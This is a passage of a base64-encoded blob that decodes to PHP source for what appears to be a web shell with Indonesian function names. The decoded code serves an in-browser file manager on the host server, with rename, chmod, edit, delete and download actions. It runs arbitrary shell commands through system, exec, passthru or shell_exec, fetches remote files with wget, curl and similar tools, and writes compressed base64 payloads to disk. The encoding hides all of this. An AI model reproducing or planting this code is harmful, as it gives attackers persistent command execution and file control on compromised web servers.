kPg0KCQkJPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQoJCQk8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQoJCQk8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+PC9zcGFuPg0KCQkJPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+DQoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+DQoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4NCgkJCTwvZm9ybT48L3RkPg0KCQkJDQoJCQk8L3RyPg0KCQkJIjsNCgkJfQ0KCQllbHNlaWYoJGZvbGRlciA9PSAiLi4iKSB7DQoJCQlpZighJHdpbiAmJiAkcG9zaXgpew0KCQkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KCQkJCSRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG93bmVyID0gJHVzZXI7DQoJCQl9DQoJCQkkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3k9Ii4kcGFyZW50LiJcIj48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUFYTlNSMElBcnM0YzZRQUFBQVppUzBkRUFQOEEvd0Qvb0wybmt3QUFBQWx3U0ZsekFBQU4xZ0FBRGRZQmtHOTVuQUFBQUFkMFNVMUZCOW9KQnhVQU0wcUx6NndBQUFMTFNVUkJWRGpMYlZQUlMxTlJHUCtkM2J0cnM3a1ptQVlYbFNaWVVLNEhRWENSRVBXVVFTU1lJRDFHRUtLeC9BZjI1bE0rRENGQ2U0aGV5Z2NOZElVRVNUMDRRVzZCalMweXg1VWhrVzZGRXR2T1BmYzdwNGVtWGNvZkhQZzQ1M3kvNzNlKzczY0FEeXpMT295L2JIelI4L2w4MExidFlENXY2d2Y3MlZ6T213TG1UZTd1N29abFdjY2JHaHBHTko5MkhRd3R0ZU52U3FtWEpPV2pNNTJkUFBNcGcvTmQ1LzhTcEZJcDlQZjN3N0tzUzRGQTRCbGpyQjFIUUNtVmM0VjdPM29oK21GbFpRV3hXQXdza1VnZ2tVaGdlWGs1Rmc2SEY1bVBuV0NBQWhoVFVHQ0tRVUY1ZWI0TElhNzI5UFJrbnI5NC9rZkJ3TURBc1hnOC90SHY5NThGb0R4UDg4WWVKVExkMnh1TEFZQVBBSWFHaHU1SUtjOXl6c0U1WjQ3allIVjE5VU9wVk5vWFFzQzdPT2R3SE5HN3RMUjBFd0QwVUNpczY3cDJuWE1PQUNpWEs3L2V2My8zWkhKeThuRXltWnd5RE1NOHFFeEV5alROOXZyNitvQVE0Z2FBZWYzaXhWZ2Q1ODRwdytEWTNkMHRURTlQajZUVDZUZkJZSkNQajQvZkJ1QS9JQkJDK0dabVpoWmJXbHJPT1k1akRnOFBhM3FwVkVLbFVvSGY3MGNnRUdnZUhSMk5QSGdRVjRPRHQ5VHM3S3dFUUFDZ2FScFNxVmRRU3JGcXRZcHF0U3B0MndZRFlFeE1UTXkzdGJWZGsxTFdwcVhlYm0xdDNUZE44Nm11NjVGYU13K3NFMktNNlQ5Ly9wZ2FHeHNiMVFFNGEydHJyNXVhbXE1NUduMmwrV1J6V2dpaEVWSDlFWDVBSnBPWkJ3QU5BSEs1WEtHam82T3ZzYkhSZEYwWFJBUXBaWjJVMGs5RWlvZ1lFWUdJbEpTUzJiWTltMHdtSHdKUVdvMzAxL2IyZGlFU2lWdzJqTG9RRVRGeVhlV1N5NGhjNXJxSEpLeFlMR2JuNXVidUZvdkYwcUVDQU5qZjM3ZS9ibXprakRyamRDZ1VhbVUrTUNJSklna3BpWlhMWlpuTlpoY1dGaGJ1Ylc1dWZ1N3E2c0xPenM3L0xnUFEzdHJhMmgrTlJ2dkM0ZkFwQUhKdmIyOXJmWDE5cVZBb3ZBYXdkK1J2L0FjK0FNY0FHTFVKVkFBNFIxMzhEZUYrY1greFIvQUdBQUFBQUVsRlRrU3VRbUNDJz4gICAkZm9sZGVyPC9hPjwvdGQ+PHRkPkxJTks8L3RkPg0KCQkJPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQoJCQk8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcGFyZW50KSkuIjwvdGQ+DQoJCQk8dGQ+PHNwYW4gaWQ9XCJ0aXRpazJcIj48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwYXJlbnQuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsyJywndGl0aWsyX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+PC9zcGFuPg0KCQkJPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsyX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+DQoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+DQoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4NCgkJCTwvZm9ybT4NCgkJCTwvdGQ+PC90cj4iOw0KCQl9DQoJCWVsc2Ugew0KCQkJaWYoISR3aW4gJiYgJHBvc2l4KXsNCgkJCQkkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7DQoJCQkJJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsNCgkJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCSRvd25lciA9ICR1c2VyOw0KCQkJfQ0KCQkJJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rXCIgaHJlZj1cIj95PSIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVFBQUFDMStqZnFBQUFBQVhOU1IwSUFyczRjNlFBQUFBSmlTMGRFQVArSGo4eS9BQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBQTAwbEVRVlFvejZXUnZVcERVUkNFdnptdXdSOHM4Z3IyRVR2dExTUmFLajZBclpVK1ZWQUV3U3F2SkloSXdpWDMzblBPMklnYXlLMmNidG1aV1Q0Vy9pdjlIZWFjQTY5N05RUlkyODFGcjBkdTFoSlB0OTBEK3hnYzZmbndYakM3OUpXeVFkaVRmT3JmNG5rL2paZjBjVmVuSXBFUUltR2pRc1ZvZDJjcnl2SDRURVpDMzBrTGpNRStLVWRSbDI0WkRRQmtyeUl2dE9KZ2dMR3JpK2hiZFhnZDkwZTkrK2h6NnJSNWpZdHpaS3NJRHpod0ZEVFFEelpFc1R6OENSTzVwbVZxQjI0MHVjUmJNN2tlalRjYWxCZnZuMTk1RVYrRWFqRjFoZ0FBQUFCSlJVNUVya0pnZ2c9PScgLz4gICAgIFsgJGZvbGRlciBdPC9iPjwvYT4NCgkJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPg0KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmb2xkZXIuIlwiIC8+DQoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4NCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCgkJCTwvZm9ybT48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4NCgkJCTx0ZD48Y2VudGVyPg0KCQkJPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiPiIuZ2V0X3Blcm1zKCRwd2QuJGZvbGRlcikuIjwvYT4NCgkJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtM1wiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmb2xkZXIuIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiIC8+IA0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZC4kZm9sZGVyKSksIC00KS4iXCIgLz4gDQoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNobW9kX2ZvbGRlclwiIHZhbHVlPVwiY2htb2RcIiAvPiANCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiANCgkJCW9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCgkJCTx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmb2xkZXIpKS4iPC90ZD48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+cmVuYW1lPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtmZGVsZXRlPSIuJHB3ZC4kZm9sZGVyLiJcIj5kZWxldGU8L2E+PC90ZD48L3RyPiI7DQoJCX0NCgl9DQoNCglmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7DQoJCSRmdWxsID0gJHB3ZC4kZmlsZTsNCgkJaWYoISR3aW4gJiYgJHBvc2l4KXsNCgkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCSRncm91cD1AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZm9sZGVyKSk7DQoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsNCgkJfQ0KCQllbHNlIHsNCgkJCSRvd25lciA9ICR1c2VyOw0KCQl9CQkNCgkJJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGlua1wiIGhyZWY9XCI/eT0kcHdkJmFtcDt2aWV3PSRmdWxsXCI+PGI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPScgLz4gICAkZmlsZTwvYj48L2E+DQoJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4NCgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiAvPg0KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiIC8+DQoJCTwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQoJCTxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPg0KCQk8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiANCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiIuJGZpbGUuIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+DQoJCTx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+DQoJCTx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZnVsbFwiPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZnVsbFwiPmRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZ1bGxcIj5kb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZnVsbFwiPmd6aXA8L2E+KTwvdGQ+PC90cj4iOw0KCX0NCgkkYnVmZiAuPSAiPC90YWJsZT4iOw0KCXJldHVybiAkYnVmZjsNCn0NCg0KZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsNCglpZigkc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZSkpew0KCQlpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7DQoJCWVsc2V7DQoJCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHsNCgkJCQkkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KCQkJCXJldHVybiAiJHNpemUga2IiOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsNCgkJCQlyZXR1cm4gIiRzaXplIG1iIjsJDQoJCQl9DQoJCX0NCgl9DQoJZWxzZSByZXR1cm4gIj8/PyI7DQp9DQoNCmZ1bmN0aW9uIGV4ZSgkY21kKXsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCUBvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRjbWQpOw0KCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJQG9iX2VuZF9jbGVhbigpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkY21kLCRyZXN1bHRzKTsNCgkJJGJ1ZmYgPSAiIjsNCgkJZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsNCgkJCSRidWZmIC49ICRyZXN1bHQ7DQoJCX0NCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoJCUBvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGNtZCk7DQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOw0KCQlAb2JfZW5kX2NsZWFuKCk7DQoJCXJldHVybiAkYnVmZjsNCgl9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCgkJJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJcmV0dXJuICRidWZmOw0KCX0NCn0NCg0KZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpew0KCSR0ZXh0eiA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoJIGlmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKQ0KCSB7DQoJCSBAZnB1dHMoJGZpbGV6LCR0ZXh0eik7DQoJCSBAZmNsb3NlKCRmaWxlKTsNCgkgfQ0KfQ0KDQpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyANCiAgIGlmKCRmcCA9IEBmb3BlbigkbGluaywiciIpKXsNCgkgICB3aGlsZSghZmVvZigkZnApKSB7IA0KICAgCQkgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyANCiAgIAkJfSANCiAgIAkJQGZjbG9zZSgkZnApOyANCgkgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IA0KCSAgIEBmd3JpdGUoJGZwMiwkY29udCk7IA0KCSAgIEBmY2xvc2UoJGZwMik7IA0KICAgfQ0KfQ0KDQpmdW5jdGlvbiB3aGljaCgkcHIpew0KCSRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCglpZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiB0cmltKCRwYXRoKTsgfSBlbHNlIHsgcmV0dXJuIHRyaW0oJHByKTsgfQ0KfQ0KDQpmdW5jdGlvbiBkb3dubG9hZCgkY21kLCR1cmwpew0KCSRuYW1hZmlsZSA9IGJhc2VuYW1lKCR1cmwpOw0KCXN3aXRjaCgkY21kKSB7DQoJCWNhc2UgJ3d3Z2V0JzogZXhlKHdoaWNoKCd3Z2V0JykuIiAiLiR1cmwuIiAtTyAiLiRuYW1hZmlsZSk7YnJlYWs7DQoJCWNhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOw0KCQljYXNlICd3ZnJlYWQnIDogYW1iaWwoJHd1cmwsJG5hbWFmaWxlKTticmVhazsNCgkJY2FzZSAnd2ZldGNoJyA6IGV4ZSh3aGljaCgnZmV0Y2gnKS4iIC1vICIuJG5hbWFmaWxlLiIgLXAgIi4kdXJsKTticmVhazsNCgkJY2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7DQoJCWNhc2UgJ3dnZXQnIDogZXhlKHdoaWNoKCdHRVQnKS4iICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOw0KCQljYXNlICd3Y3VybCcgOiBleGUod2hpY2goJ2N1cmwnKS4iICIuJHVybC4iIC1vICIuJG5hbWFmaWxlKTticmVhazsNCgkJZGVmYXVsdDogYnJlYWs7DQoJfQ0KCXJldHVybiAkbmFtYWZpbGU7DQp9DQoNCmZ1bmN0aW9uIGdldF9wZXJtcygkZmlsZSkNCnsNCglpZigkbW9kZT1AZmlsZXBlcm1zKCRmaWxlKSl7DQoJCSRwZXJtcz0nJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgkJcmV0dXJuICRwZXJtczsNCgl9DQoJZWxzZSByZXR1cm4gIj8/Pz8/Pz8/Pz8iOw0KfQ0KDQpmdW5jdGlvbiBjbGVhcnNwYWNlKCR0ZXh0KXsNCglyZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJfIiwkdGV4dCk7DQp9DQoNCi8vIG5ldCB0b29sc